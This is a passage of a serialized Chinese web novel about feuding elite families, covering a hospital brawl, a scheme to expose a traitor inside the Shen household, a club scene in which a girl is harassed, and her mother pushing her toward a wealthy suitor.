沈清予低垂着眼睑,像看死人一样打量关鹤,“不干什么,给你续费。” “……沈……” 还没等关鹤开口,沈清予一脚踹向打着石膏的小腿,石膏裂开后他犹不解气,又对着小腿旧伤狠狠踹了上去。 “啊啊啊啊!!” 惨叫声迅速席卷整个楼道。 沈归灵和沈兰晞同时停下脚步,侧目看去。 关家的保镖听见声响,反应迅速往走廊跑去。同时,守在电梯口的沈家保镖当即做出回应,挺身而出直接将人截断。 沈清予揪着关鹤的衣服,一拳又一拳地往脸上招呼,关鹤原本还不服,被打了几拳之后立马就老实了。 面对此情此景,沈兰晞和沈归灵纷纷陷入了沉默。 “怎么回事?斗殴吗?沈家少爷和关家少爷打起来了?” “连保镖都干仗了?沈家和关家要撕破脸了?” 跟着上楼的记者们也是一脸懵逼,反应过来后立马举起手里的相机抓紧跟拍。 沈澈头疼不止,回见沈兰晞和沈归灵站在楼梯间一动不动,捂着额头上前,“兰晞,阿灵,你们来的正好,快把清予拉回来,闹大了老爷子那不好交代。” 眼见关鹤被打得半条命都没了,沈兰晞才不紧不慢上前劝架,“行了,正事要紧。” 沈清予抬了抬眼梢,迟疑了片刻才推开关鹤。 “记住了,以后看见沈家的人躲远点,再敢凑上前,打废你这只脚。”他一边低头整理领带,一边垂眸看着关鹤。 关鹤心里发怵,他内心其实是害怕的,但他也明白,这个时候自己不能表现出一丝怯弱,否则关家的脸就被他丢完了。 事已至此,他不信沈清予还敢再下黑手。 关鹤咬牙,故意挑衅,“狗东西,老子偏不躲!老子就惹你们沈家的人,就挑沈家人下手,你又能拿我怎么办?” 沈兰晞丝毫不在意,转身欲走,谁料沈清予突然暴动,上前摁住关鹤的头。 “沈清予!”沈兰晞皱眉,抬手扣住沈清予的胳膊。 这时,沈归灵走了过来,脸上挂着极其微妙的笑容,“所以去沈家提亲是想对谁下手?” 沈兰晞愣了愣,目光扫了一眼沈清予,忽然明白什么,面无表情松了手。 平时让关鹤应付一个沈家人他都已经够呛,现在突然出现三个,属实有种黑云压城的胁迫感,以至于一直被气场碾压空了耳,叫嚣道,“老子想对谁下手就对谁下手,你们管的着吗?” 这话一出,对面三人的脸色肉眼可见的阴沉了下去。 关鹤嚎完忽然琢磨过来,“等会儿?!什……什么提亲?提什么……噗!” 话没说完,人再次飞了出去。 沈清予,“想对谁下手就对谁下手?看来不管是不行了。” “清予!”沈澈没想到还能打起来,气急败坏上前拽人,眼看劝不住赶紧向一旁的沈归灵求助,“阿灵,快来帮忙啊。” “好。”沈归灵面带微笑上前,扣住他的手腕,沈清予因此得了空隙,再次挥拳。 “……”沈澈举起被扣住的手,一脸难以置信,“谁让你抓我的?” 沈归灵慢条斯理,“二叔还是先避让吧,清予现在正在气头上,万一他失手打了你那才是天大家族的丑闻。” 沈澈,“……” “说的没错。”沈兰晞淡淡开口,抬眸看了高止一眼。 高止会意朝手下使了个眼色,守在楼梯的保镖们立马围成了一堵密不透风的人墙,将一众记者拦在了人墙之后。 * 三个小时后。 乔金锦双手抱胸,脸上表情十分复杂,“所以你的意思是,你就骂了沈清予一句狗逼,他们就当着记者的面把你打成了这样?不至于吧?” “草!什么不至于!?我身上这伤还不是还是我自己弄的?沈家出息了,被人吹嘘两句双将星就飘的摸不着南北了,等着瞧,老子一定要让他们付出代价。” 病床上,关鹤一只腿打着石膏,另一只腿挂在空中,这模样也是实惨。 乔金锦皱眉,“你想做什么?” 关鹤眼底透着血色,这一个月他早就憋屈坏了,原本好不容易熬到快出院了,结果今天又莫名其妙招来沈清予打一顿毒打,泥性子都有三分火,何况他本来就是个爆脾气。 “你别管,这件事你就别掺和了,先拿下F-21的飞行员名额再说。” F-21是战斗机联队的编号,隶属空中作战司令部,因其作战性质,F-21战斗机飞行员的含金量远非一般飞行员可比,每年的招选名额都是万里挑一。 乔家是军官家族,这次能否考上战斗机飞行员对乔金锦未来的晋升尤其重要,不得不说,关鹤虽然恶劣,但对亲近的朋友还是存了真心。 乔金锦看着手中骨折重伤的病例报告颇有些无奈,“你就不能先把伤养好吗?你连沈家的小丫头都搞不定,还想同时跟沈家三个黑芝麻斗?人家能玩死你。” “看不起谁?!”关鹤垂死病中惊坐起,“我不行,还有阿珩!对了,阿珩呢?他怎么还没来?” 正说着,周宴珩推门走了进来,抬眸看了关鹤一眼,不紧不慢走到床前。 “阿珩!”关鹤顿时眼睛发光,“你怎么现在才来?你看,这就是沈清予那瘪三打的!” 周宴珩,“他什么打你?” 关鹤愣了愣,周宴珩从来不是一个讲理的人,,顿时有些不满,嚷道:“什么为什么?草!我他妈被打你问我为什么?那些狗逼上来就打,还问我……” 忽然,脑子里好像窜过去了什么。 关鹤皱眉,睁着大小眼,“提亲?” 是了,之前沈归灵是说了这次词。 周宴珩,“一个月前,伯父携带重礼登门替你求娶姜花衫,关鹤,你想娶姜花衫?什么时候的事?我怎么不知道?” …… 第464章 他们说可以打的 这话犹如赤壁那晚的十万东风箭,把关鹤扎成了箭草人。 周宴珩说的每个字他都听的懂,但组合在一起他就听不明白了,但有一点他知道,这件事后果很严重。 早在上次度假山庄事件后,关鹤就已经看出了周宴珩对姜花衫的心思。后来姜花衫利用赌场的事威胁他们,周宴珩不反常态听之任之,那个时候就隐隐感觉到了这份心思不同寻常。 再后来,在花园酒店,从不做好事的周宴珩又出手救下姜晚意,甚至连姜花衫撞了他的爱车都没有一反应,关鹤就知道他对姜花衫志在必得。 周宴珩与其他人不一样,他是个极端的享乐主义者,他最擅长用猎奇的角度去寻求刺激,为了得到极致的快乐,他会故意延迟得到将自己的胃口养的越来越叼,然后在欲望的煎熬下一口吞掉‘宠物’。 通常周宴珩对宠物态度就两点,要么睡,要么逗着玩,但凡满足了其中一点就会被无情丢开。关鹤是看过周宴珩怎么训练宠物的,所以他能明显感觉的出来,周宴珩不仅仅只是想睡姜花衫,他还想玩,但这个玩又很微妙,不似豢养那般的逗弄,而是引她入局再绞杀。 “……” 病房的气氛忽然变得有些诡异。 周宴珩从来没有在关鹤面前刻意隐瞒,现在关家转头去沈家提亲,这明晃晃地是在打他的脸,何况,关鹤应该最清楚,他最讨厌的就是玩游戏的时候被人打扰,不管是谁都不行。 乔金锦表情怪异,不解看向关鹤,“你喜欢姜花衫?” “我不是!我没有!”关鹤赶紧看了周宴珩一眼,吓得嗓子都哑了,“阿珩,这里面肯定有误会,我他妈又不是瞎了眼,怎么会看上那小疯子?” 周宴珩,“……” “……”关鹤嘴角抽搐,尴尬笑了笑,“我不是说你。” 乔金锦瞳孔地震转头看向周宴珩,“你看上了姜花衫?” 周宴珩神情淡淡,“提亲是怎么回事?” 关鹤表情一愣,眼神清澈呆滞,“是啊!怎么回事?” 周宴珩皱眉,“你不知道?” “我……”关鹤气的手舞足蹈,“我要是知道,哪会站在那被那三个傻逼揍。草!那三个狗逼有毒吧,就算老子去沈家提亲也罪不至死吧?他们这么搞我?” 乔金锦思索了片刻,“我刚刚代入了一下,我要是有个妹妹,是你这么个玩意来提亲,我下手应该会比沈清予更狠。这么看起来,沈家那三个也不知蛮不讲理。” 关鹤咬着腮帮,斜睨他,“你说真的?” 乔金锦,“你一口一句要弄死姜花衫,转头关家又去沈家提亲,你让沈兰晞他们怎么想?沈家人护犊子你第一天知道?” 关鹤不服,“照你这么说,我这顿打就白送给他们了?” “沈家现在风头正盛,你这节骨眼找事不是明智之举,阿珩,你说呢?”乔金锦转头看向周宴珩。 周宴珩思忖片刻,点头,“先养伤。等你伤好了再说。” “可……” 关鹤原本还有些不甘心,但见周宴珩眼底满是阴翳立马识相闭上了嘴。 又过了一会儿,关楼提前结束了会议工作匆匆赶到了医院,周宴珩和乔金锦自觉回避。 彼时,天色昏暗,夕阳落在两人的肩上将地面的影子拉的斜长。 临别时,乔金锦还是没忍住叫住周宴珩,“阿珩……” 周宴珩回看了他一眼,神色慵懒,“别浪费力气了,这么多年了,你还不习惯?” 乔金锦皱眉,沉默片刻拉门上车。 * 第465章 咬钩 最终沈庄并未追究沈清予殴打关鹤一事,不管怎么样,起码最后他们兄弟三人齐心协力做了一件事。 第二天,关楼再次登门,沈庄把人请进沁园亲自接待,也不知沈家给了什么条件,最后医院殴打事件不了了之。 半个月后,军机总部下达了对沈归灵和沈兰晞的个人表彰,因两人在国家危难面前表现突出,特别授予了二等功勋荣耀,破格擢升为一星上尉。 这实打实的功勋荣耀在鲸港贵族圈可算是凤毛麟角,为此惹得其他家族艳羡不已。 三傻回归,沈园上空的黑云骤然退散,梅、兰、竹三院终于热闹起来。 沈兰晞和沈归灵在家养伤期间,沈眠枝和傅绥尔三天两头回家关心兄长,但另一个却像好不容易挣脱牢笼的兔子,只顾在外面撒欢丝毫不惦记回窝,别说回来探望,就是这个电话都没有。 对此沈兰晞和沈归灵面上虽丝毫不显,但心里窝着一股无名之火。 十月,二等功勋的牌匾下来,沈庄特意把沈兰晞和沈归灵叫去沁园说话,功勋既是个人荣誉也是家族脸面,沈庄打算挑个好日子,带领一家人回襄英祭祖,为告慰列祖列宗。 事情很快敲定下来,回襄英的日子就定在十月中旬。 * 周公馆。 近来鲸港无事,周家老爷子也难得清闲,手里端着紫砂壶,躺在竹椅上闭目养神。 周宴珩从电梯出来,往水榭扫了一眼后转身穿过大厅。 刚跨过门槛,周老爷子慢悠悠开口,“阿珩。” 周宴珩脚步一顿,思忖片刻转身走进水榭凉亭,“爷爷。” 周国潮缓缓抬眸,撑着扶手慢慢坐起来,“最近在忙什么?一天到晚总看不见人?” 周宴珩给自己倒了杯茶,端盏入坐。 “我还能做什么?您现在不让我插手家里的事,我总得找点乐子打发时间不是?” 周国潮看了他一眼,“听说,你最近跟白家公主走的很近?” 周宴珩不置可否,放下茶杯,“您要有什么就直说。” 周国潮,“白蒂娜是S国王储候选人之一,她不是普通人,也不适合你。阿珩,不要乱来。” 周宴珩点头,“知道了。” 周国潮见他应的这么爽快脸色稍霁。 原本老爷子还担心白家公主貌美如仙,周宴珩会受不住诱惑,现在看来是他多虑了。 误会解除,周国潮也不纠结,给自己倒了杯茶转过话题,“听说,关家和姚家都去沈家提亲了?” 周宴珩皱眉,“您怎么也对这种八卦感兴趣?” 周国潮瞪眼,“连他们都知道先下手为强,咱们不也得好好谋划了?阿珩,修身齐家治国平天下,欲成事先成家,跟爷爷说说,鲸港城里有没有喜欢的姑娘?” 周宴珩神情淡淡,“没有。” 周国潮打量了一眼,“真没有?那爷爷可就替你做主了?” 周宴珩无所谓,“您挑呗。” “好。” 到他们这个位置,所有决策都和利益分不开,周宴珩这么通透倒是省事。 周国潮开门见山,“爷爷属意的还是苏家和沈家,不过苏家两个闺女,一个名声不好,一个没有血缘,比起来还是沈家那个丫头最适合的?她叫什么来着?” 周宴珩漫不经心,“沈眠枝。” “对,就是她。”周国潮低声分析,“沈庄偏心大房,沈执掌管沈家暗堂多年最后却只能屈居小辈之下,未必会心服口服,若是你娶了沈眠枝,沈执或许会成为我们一大助力。” “我无所谓,听爷爷的。”周宴珩站起身,“您还有事吗?” 周国潮摆摆手,周宴珩转身出了水榭。 “嘿?!”周国潮皱眉,盯着渐行渐远的背影喃喃自语,“臭小子,到底在忙什么?” 周宴珩刚走出大门,转身坐上红色超跑,拨通了关鹤的电话。 车窗两边的城市风景像被快进了一百倍速的默片飞速倒退。 “阿珩,你来了没有?”电话里,关鹤的声音隐隐带着一丝兴奋。 周宴珩面无表情看着前方,“路上。” “那好,你快点啊!我都等不及要看看沈家这个内鬼是谁了!” 周宴珩嗯了一声,挂了电话。 * 鲸和医院。 关鹤续费一个月后,终于又等到了拆石膏的日子,这两个月的屈辱生活让他彻底癫狂,连路边经过一只狗都要被踹上一脚。 好在憋屈的生活在他出院前划上了休止符号。 就在三个小时前,他收到了一封匿名邮件,上面附录了地下钱庄近三个月的黑户流水,对方还提出要见面详谈。 果真让周宴珩猜对了,沈家内鬼主动找上门来了。 关鹤对此兴奋不已,终于能让沈家还点颜色了。 对方约见面的地方在鲸港外环的一处农庄里,关鹤赶到时一群人已经屋内恭候多时了。 那人坐在屏风后,隐约只能看见一道黑影,连是男是女都分不清。 “装神弄鬼。” 关鹤拄着拐杖大咧咧进屋,“就是你约的我?” 进了屋才发现,房间还有个内室,二十个平方不到,里面都是看着憨厚敦实的庄稼汉。 见关鹤进屋,那些人眼神锐利了许多,两人直接起身守在屏风前。 关鹤也不是吓大的,翘着二郎腿打量屏风后的人影。 “你是什么人?叫我来这有什么目的?赶紧交代,少爷我耐心不好,别逼我炸屋。” 屏风后的人影站起身,面向关鹤,“英雄出少年,关少爷好手段,年纪轻轻既然吃下了这么大的黑棋,只是不知道关议员长要是知道这件事又会作何感想?” 关鹤冷笑,“威胁我?” 可惜威胁晚了,他已经被姜花衫威麻木了,现在强得可怕。 “关少爷别误会,我如果想与关少爷为敌,就不会有今天的见面了。我来,是想跟关少爷谈合作的。” “合作?”关鹤挑眼打量屋里一群庄稼汉,“就凭你们这些酒囊饭袋?真以为老子会怕你们?出去打听打听,老子姓关,捏死你们比捏死一群蚂蚁还简单。” “关少爷稍安勿躁,不妨听了我的合作意见再做决定?” 关鹤摊手,一副你放屁的表情。 那人沉默片刻说道:“我们希望能和关少爷合作,一起把地下赌坊的生意做大。” 关鹤脸色阴沉,“敢从我的饭碗里抢钱,我看你们胆子挺大的。” “作为回报,我们将继续替关少爷隐瞒地下钱庄的秘密,关少爷仕途通达,想必也不想留下污点吧?若我们合作,就算有天事情败露,我们也有能力将这件事的责任全部转移,保证不会牵连关少爷。” 关鹤微微眯眼,“好大的口气,你到底是谁?” 屏风后的人犹豫了片刻,双手靠背踱步走了出来。 男人四十年纪,中等身材,精明外显。 不认识。 关鹤翻了个白眼,不等男人反应,从口袋掏出一把微型手枪。 “砰——” 扳机扣下,一枪爆头,滚烫鲜红的血水如泼墨一般溅洒屏风。 霎时,隔壁房间里的庄稼汉们纷纷变了脸色,不约而同站起身。 “浪费老子的时间。”关鹤极其嚣张转动手里的枪,拄着拐杖起身,“全杀了。” 正要动手,角落里有人站了起来。 “关少爷,留步。” 关鹤侧身,抬眸扫了过去,待看见那人的脸,眼底闪过一丝错愕。 “竟然是你?!” …… 第466章 钓鱼 星海城。 玻璃房外,挂着几块碎布的年轻女孩们放肆摇摆着曼妙的身躯,钞票如天女散花般落了一地。 昏暗的碎光里,男人们纵情声色享受着权势带来的美妙。 “我草!你猜那孙子是谁?沈执!竟然是沈家老爷子身边那只老狗!” 一墙之隔,关鹤仰头干了一杯红酒,眼里闪过兴奋不止的红光。 周宴珩手腕一僵,红色的液体撞上杯壁荡起不小的涟漪。 关鹤啧啧摇头,又开了一瓶红酒,“没想到啊,藏的够深的,沈家这下有好戏看了。” 周宴珩抬眸,“你答应他的要求了?” “嗯,答应了,不是你说不管他们提什么要求都先应下吗?” 关鹤还沉浸在发现沈家秘密的喜悦中。 这可太有意思了,所有人都以为沈园总管家沈执是沈家老爷子的左膀右臂?没想到竟然是个黑心芝麻球。 沈家之所以能在鲸港城屹立这么多年不倒,都是因为有沈庄这根定海神针,但现在看,这根神针好像也不是完全不能动摇。 万一沈执偷偷在沈老爷子背后捅一刀,沈家可就热闹了。 这事如果是别人,关鹤可能还要查证一下,但现身的是沈执,这事就没什么疑点了。 总不可能是沈家老爷子看中了他这点小产业,让他的狗来抢粮?要真是,赌坊被骗出去关鹤也无话可说。 周宴珩想了想,又问,“合同签了吗?” “那是自然。”关鹤咧嘴一笑,拄着拐杖凑上前,“阿珩,接下来我们怎么弄?这可是个好机会,把沈家弄垮,以后A国就是咱们说的算了。” 周宴珩低头抿了一口红酒,顺手拿出手机。 关鹤不解,“你干嘛?” 周宴珩,“告诉姜花衫,内鬼现身了。” “草!”关鹤兴奋的小火苗瞬间熄灭,“你不是吧!这可是弄垮沈家的机密,你拿去钓鱼?” 周宴珩发完信息,见关鹤脸色脸色比活吞了一只苍蝇还难看,难得大发善心解释,“她对我避如蛇蝎,鱼饵不下猛点儿她不会咬钩。” 关鹤翻了个白眼,“就是**,睡几遍不就好了?” 周宴珩,“没这么简单。” 姜花衫避他根本不是怕他,他一直有一种感觉,她似乎很了解他。 “行了!我看你就是中了那小疯子的毒。我可警告你,那小疯子有点邪乎,你自己当心点,可别玩着玩着把自己搭进去了。” 周宴珩笑了笑,回头敲了敲玻璃,守在门口的两个漂亮女生立马走了进来。 “珩少爷。” 女生们眼带娇羞,一左一右爬上沙发。 周宴珩随意扫了左边一眼,少女眼波流转,身体如银蛇般扭动坐进周宴珩的怀里,见他没有拒绝,动作越发放荡。 “砰!” 突然,玻璃门被人一脚踹开。 白蒂娜杀气腾腾突然出现在周宴珩面前。 关鹤愣了愣,拄着拐杖起身,“哦豁,母老虎杀过来了。” 周宴珩眼皮都没抬,“继续。” 少女不敢违抗,双手捧起周宴珩的手环上腰侧,也正是这个动作彻底激怒了白蒂娜。 “周宴珩!” 她尖叫了一声,一把拽着女生的头发将她从周宴珩的怀里拖了下来。 女生试图反抗,白蒂娜按着女生的头直接往墙上砸去。 “啊啊!” 女生惨叫了一声,昏死了过去。 白蒂娜若无其事抚弄刘海,转头打量另外一个女生,那女生吓得直接从沙发上摔下,爬着跑出了玻璃房。 “你看你,找的都是些什么货色?” 白蒂娜按住心中的怒火,勉强挤出笑脸,学着之前少女的模样坐在周宴珩的腿间,“我陪你玩呀~” 周宴珩拉下她的手,“公主入幕之宾过江之鲫,我们不适合。” 说着,也不管白蒂娜的脸色,直接站起身把人推开。 白蒂娜一而再再而三被打脸,耐心售罄,“周宴珩,你什么意思?” 周宴珩,“还不明显吗?我虽然玩的花,但不喜欢玩的花的女人。” “你……” 白蒂娜气的浑身发抖,这辈子还没有谁敢这么跟她说话。 “周宴珩你站住!” 屋里其他人的酒也醒了,见白公主歇斯底里隐隐有暴走的迹象,纷纷避之不及,唯有周宴珩完全不当一回事,临走时还从茶几上拿了一沓钱丢给昏死的女生。 “周宴珩!周宴珩!” 白蒂娜不甘心,跺了跺脚跟着追了出去,刚追出房间,周宴珩突然站定,她一时不察迎面撞上了他硬阔的肩膀。 “我不去!我求求你们了!放过我吧!” 昏暗的过道开间,姜晚意死死抱着冰冷的大理石柱子,身下的裙纱被碎了一半。 …… 第467章 群狼饲虎 “什么放过你?姜晚意,说这话可就没意思了?别忘了是你自己求上来的。” “就是,说好的喝不下就跳舞,玩不起你就别玩啊!” 昏暗的过道里,一堆男男女女围着姜晚意,还有几个明显不怀好意,故意拖拽她的裙摆。 周宴珩回头看了关鹤一眼,“去问问怎么回事?” 怎么又多管闲事? 关鹤敢怒不敢言,拄着拐杖挤进人群,吊儿郎当,“让让!你们一群小孩儿在这搞什么?” 围观的都是育才的少爷小姐,一眼就认出了关鹤,立马收起不可一世的嘴脸笑着打招呼,“阿鹤哥。” 姜晚意原本还以为有人路见不平,一见是关鹤,吓的脸色都青了。 一个月前,姜花衫当着她们的面把这位关家少爷撞进了医院,她到现在想起来还在后怕,没想到今天竟然又遇上这活阎王了。 关鹤抬着下巴指了指姜晚意,“怎么回事啊?” 众人眼神忽然微妙起来,为首的大个子小心试探,“阿鹤哥,您认识她?” 关鹤皱眉,对着大个子的脑门直接扇了一巴掌,“我问还是你问?” “是是……”大个子被打得一点脾气没有,点头哈腰,“哥,我们可没为难她,大家一起出来玩,说好的喝不了就跳舞,她酒不喝舞也不跳现在还要跑,大伙儿不乐意就争执了几句。” 关鹤斜乜了姜晚意一眼,见她一直低着头不敢看自己,冷笑,“跳什么舞啊?” 众人尴尬,默不作声。 大个子硬着头皮,小声解释,“哥,傅哥花了钱的,我们也就是图个乐。” “傅哥?”关鹤挑眉,一脸嫌弃扫向大个子,“哪个傅哥?傅文博?” 大个子点头,往对面包间指了指,“哥,傅哥在里面,您也知道的,花钱请陪玩不就图个乐?这丫头败兴,傅哥不高兴非得让她把衣服脱了跳,我们也没办法。” “行了。”关鹤点头,拄着拐杖掉头就走。 怎么行了?你这是管还是不管啊? 这可把所有人整不会了,一脸懵逼。 “搞清楚了,那丫头招惹上了傅文博,这不正在立规?” 关鹤拄着拐杖慢悠悠走到周宴珩面前,“哦,那胖子说傅文博花钱了,早就看出小疯子那妈不是什么好人,没想到吃相这么难看?” 周宴珩思忖片刻,直接往人群走去。 一群人原本还气势汹汹,待认出周宴珩纷纷缩着脖子往后退。 周宴珩扫了姜晚意一眼,“告诉傅文博,人我带走了。” 姜晚意怔愣,肩膀轻颤小心打量眼前的男人,恰巧周宴珩偏头看了过来,逆着光的侧脸贵敛又英俊,极其惹眼。 是他! 姜晚意慢慢垂下眼睑,上次在花园酒店,她险些被人陷害也是他救了她。 周宴珩笑了笑,眼神温柔,“你现在可以走了。” 姜晚意低着头,扶着大理石柱子缓缓起身,目光在周宴珩脸上停留了片刻,转身大步逃跑。 周宴珩收敛笑意,回头看向众人,“多少钱,让傅文博找我要。” 谁敢找你要啊? “哥您说笑了。”众人尴尬而不失礼貌地拒绝了。 关鹤一脸无语,这家伙为了钓鱼这么能做戏,怕不是疯了? * 日行一善,周宴珩和关鹤直接下停车场拿车,白蒂娜不满周宴珩对她的敷衍,像狗屁膏药似的黏了一路。 “周宴珩,你说清楚,你到底是怎么回事?” 白蒂娜怎么都没想明白,之前她和周宴珩明明很合拍,调情的时候氛围也很好,他怎么说变就变。 “周宴珩,你今天必须给我一个合理的解释,否则别怪我对你不客气。” 周宴珩脚步顿住,转身看着白蒂娜,古井无波的眸底泛起一丝暗色。 白蒂娜当下心跳漏了一拍,但好胜心不容许她退步。 “周宴珩,我没有跟你开玩笑,你最好别惹我,不然我会让你知道我的手段。” 公主的自尊不允许她被人玩弄,就算要玩,也应该是她玩别人! 关鹤被吓的目瞪口呆,为了不被牵连刻意往后退了一大步。 他实在是不忍心告诉这位白公主,上一个这么缠着周宴珩的还是国民女神萧澜兰,但……下场不尽人意。 周宴珩沉默片刻往前迈了一步,正要开口,余光瞥到一抹了亮影,他迟疑了,很快扯出人畜无害的笑容。 “我早就跟你解释过了,之前的事都是误会,我一直把你当成普通朋友。” 说完,偏头看向角落,“不是让你先走吗?” 白蒂娜愣了愣,待看见姜晚意期期艾艾从角落走了出来,脸色当即阴沉地可怕。 周宴珩绕过白蒂娜,看向姜晚意,“专程在这等我?” 姜晚意点头,有些局促揉搓着指尖,“我……我想知道你为什么要帮我?” 周宴珩,“想帮就帮了,没有为什么?” 姜晚意有些困惑,后退一步弯腰鞠躬,“谢……” 没等她弯下腰,周宴珩抬手抵住她的肩膀,见她有些无措又绅士收手,“回去吧,如果有需要,你可以继续找我。” 姜晚意不解,略带怯懦看了眼前的男人一眼,转身跑出了停车场。 白蒂娜忽然明白过来,上前拽着周宴珩的胳膊,“你之前也是这么耍我的?” 周宴珩抬手,一副拒人于千里之外的态度,“之前不是玩的很开心吗?现在来说这些是不是晚了点?” “周……” 周宴珩懒得应付,转身拉开车门上车,关鹤见状,立马跟上副驾驶。 油门到底,声浪轰鸣,车身几乎是贴着白蒂呼啸而过。 关鹤看着被遗落在后视镜里的美丽公主,啧啧摇头,“听说这白蒂娜也是个疯子,你这么耍她就不怕把她逼急了?” 周宴珩不甚在意,“狗急最多就是跳墙,有什么好怕的?” 关鹤,“……” * 半个小时后,姜晚意安全到家。 客厅没有亮灯,她明显松了一口气,正当她小心翼翼关上门,准备回卧室休息时,灯光乍亮,眼前灯火通明。 姜晚意眯了眯眼,抬手遮住眼睛,从漏光的指缝里,她看见方眉翘着二郎腿靠坐在沙发上。 “回来了?” 姜晚意放下手,慢慢走进客厅。 “妈。” 茶几上摆放着她的包,当时情况紧急,她没有来得及拿包就跑了,现在包出现在这,说明方眉已经知道了今晚的事。 姜晚意想也没想,直接跪下抱着方眉的腿乞求,“妈妈,傅文博根本不喜欢我,他们根本没有把我当人看,他逼我喝酒,我喝不下他就让我脱衣服跳舞,妈!我求你了,你能不能别让我再跟他出去了,我真的好怕。” 这一个月,方眉突然给她安排了很多约会对象,直到最后才锁定了傅文博。 傅家虽然不比从前,但对她们这种平民来说依旧是遥不可及的登天梯。 她知道母亲在谋划什么,但她真的不愿意做这样的傀儡。 方眉一反常态没有动怒,语调甚至带着几分许久不曾有的亲昵,“你这孩子,认识周家公子怎么也不告诉妈妈?” 不等姜晚意反应,方眉拿出手机,随意解开密码,打开信箱,找到一条陌生号码的信息。 -【这是我的电话,如果有什么困难可以找我,周宴珩。】 …… 第468章 姐姐,救救我 方眉眼里的笑容里多了几分温和。 她之前看中傅家,是因为以姜晚意的资质,傅文博已经是她们能接触到的最顶尖的人物了。 但傅文博又怎么跟周家公子比?那可是周家,除了沈家,鲸港城里唯二的顶尖家族。 周宴珩又是自小内定的家族继承人,就算姜晚意只是做个情人,这辈子也够了。 姜晚意看透了母亲温和表皮下的贪婪,她突然就明白了,为什么这次没有听话,母亲却没有责怪,不是因为她拒绝脱衣跳舞,只是因为她以为自己勾搭上了周宴珩。 她笑了笑,面无表情撒谎,“我以前在育才的时候就和周少爷有几面之缘,那个时候他就对我很照顾,不过我也没多想,毕竟那个时候我还小。但这次回来,他对我格外不一样,上次在花园酒店,也是他把我从那群坏人手里救出来的。” “你这孩子,这么重要的事怎么不早说?!” 方眉喜出望外,搀扶着姜晚意起身,“这么好的机会我们可要好好把握,这件事就交给我了。” 姜晚意点头,带着几分小心翼翼,“妈妈,能不能等我毕业之后再……” 方眉双手环胸,不耐烦打断,“再什么?你以为自己天仙下凡吗?周家少爷能等你?” “我们班上的同学已经有人知道了,我……” 能进育才的都是这圈子的少爷小姐,她被傅文博钓着玩班里已经有不少同学知道了,她几乎每天都会收到别人问她一晚上多少钱的小纸条,再这么下去,她会崩溃的。 方眉了然,却不屑一顾,“你怎么就是不开窍,你以为我为什么要花这么大的代价让你进育才?别人的耻笑算什么?不痛不痒,等你真正享受到权利给你带来的快乐时你就能明白妈妈今天的用心良苦了。” 说罢,把手机扔给姜晚意,“我已经替你申请好友了,加上之后好好聊,每天给我看行程。” 姜晚意神情麻木,“好。” “行了,回房休息吧。”方眉捏了捏眉心,忽然想到什么,又补充道,“傅文博那边也不能完全松手,他要约你继续应着。” 姜晚意闭眼,“知道了。” * 回到房间,姜晚意下意识想锁门,但很快反应过来,小步跑进厕所,反锁、打开花洒,整个动作一气呵成。 “叮咚——” 这时,手机屏幕跳出一条通过好友申请的提示。 姜晚意拿起手机,盯着与周宴珩的对话框足足思考了三分钟,最后,她关闭了对话框,切换账号,找到了那个备注【蠢货】的账号。 这次,她沉默的时间更久。 足足二十分钟,她依旧下不了决心,等她反应过来,眼泪已经顺着脸颊落在了发烫的屏幕上,那一滩晕开了【蠢货】两个字。 片刻后,她吸了吸鼻子,指尖颤抖落下五个字。 -【姐姐,救救我】 发送。 发出去了,没有红色的感叹号!发出去了! 姜晚意眼里的泪水愈发汹涌,她不敢哭出声,只能用力捂着脸,身体因为颤抖地厉害瘫软在地,地面的流水侵蚀着她的裙摆。 她忽然感到害怕。 在方眉说出让她继续跟傅文博交往那句话时,她就知道,她的母亲已经不可信了,她下意识想向周宴珩求救,但最后还是选择了姜花衫,这种选择其实就已经反应了她内心最真实的想法。 * 南湾。 姜花衫泡了个香香浴神清气爽,伸着懒腰在床上打滚。 沈家家族里,老爷子又在问她什么时候回家,这已经是老爷子这个月问的第十遍了,值得一提的是,这个月才过去两天。 姜花衫老神在在,心中有稿,下笔有神。 【爷爷,学院最近有迎新活动,我要是不参加,同学们会以为我耍大牌不喜欢我的,所以还要过几天。】 发送。 很快,老爷子回了一个土闪土闪心碎的表情包。 姜花衫看着好笑,歪头看向窗前的画架,画布上,月光沉入汹涌的海底,光影为枷锁与深海拉扯,到底是深海吞没月亮还是月光绞杀海浪,就看这场对峙是什么结果了。 脱离沈园,眼线的胆子也大起来,私下联系汇报的情况越来越多,照这么下去应该很快就能抓到其中一个内鬼了。 姜花衫翻身,看着头顶的水晶吊灯,忽然一愣,“嘶,什么时候连灯都换成一样的了?” “叮咚——” 这时,手机响了一下,姜花衫没有在意,以为是老爷子又发私信了。 过了一会儿才慢悠悠爬起身准备好好回话,刚点开屏幕,指尖蓦然顿住。 -【意意不是小可爱:姐姐,救救我】 姜花衫沉默片刻,跳出聊天框,点开已阅邮件。 一个小时前她就已经看见周宴珩这条消息了,但当时她不想理会就没搭理。 思忖片刻,她给周宴珩发了个表情包。 -【勾勾手指.gif】 第469章 切断支线 很快,周宴珩发来了一则定位信息。 登利马场。 姜花衫扔了手机,仰头看着头上的水晶吊灯。 沈家的内鬼还真跟周宴珩搭上线了,这么看来,她的推断果然没有错,上一世周宴珩一定也介入了沈家家事。 她一直在想,沈家内鬼是以什么契机和周宴珩联盟的,直到地下钱庄的故事线被引申出来,她突然就有了怀疑。 于是她灵机一动。 如果上一世沈家内鬼是因为抓住了关鹤的把柄,双方才达成了合作,那这一世,她事先洞悉了周宴珩和关鹤的秘密,甚至先内鬼一步策划了反杀,这条线的结局会不会被改变呢? 姜花衫琢磨了很久,最后决定以身入局探探这条支线的剧情,如果所有支线都是促成爷爷死局的帮凶,那她就一条一条剪断。 至于姜晚意…… 姜花衫枕着后脑勺,仰头看着水晶灯里的自己。 她倒是比想象中更早投降,也是,可不是人人都像她傻的无可救药。 * 竹园。 沈归灵正在阳台浇花,深邃的眸底印着屏幕的荧光,指尖有一搭没一搭划动着屏幕。 家族群里,老爷子每日雷打不动回家三连,却依旧没有打动那个没良心的野兔子。 “少爷。”雷行轻轻敲了敲玻璃,推门走进阳台。 沈归灵放下手机,专心致志浇花,“问到了?” 雷行点头,“好像是张茹家里出了什么事,沈园从不录用家底不清白的人,所以沈管家按规矩辞退了张茹。现在四个轮值的管事阿姨都是沈园的老人,跟去南湾照顾的巩阿姨,她的丈夫儿子都在沈氏集团工作,底细清楚。” 沈归灵,“张茹现在在哪?” 雷行愣了愣,少爷怎么回事? 回家屁股还没坐热乎就关心别人院子的事,这么明显也不怕暴露? 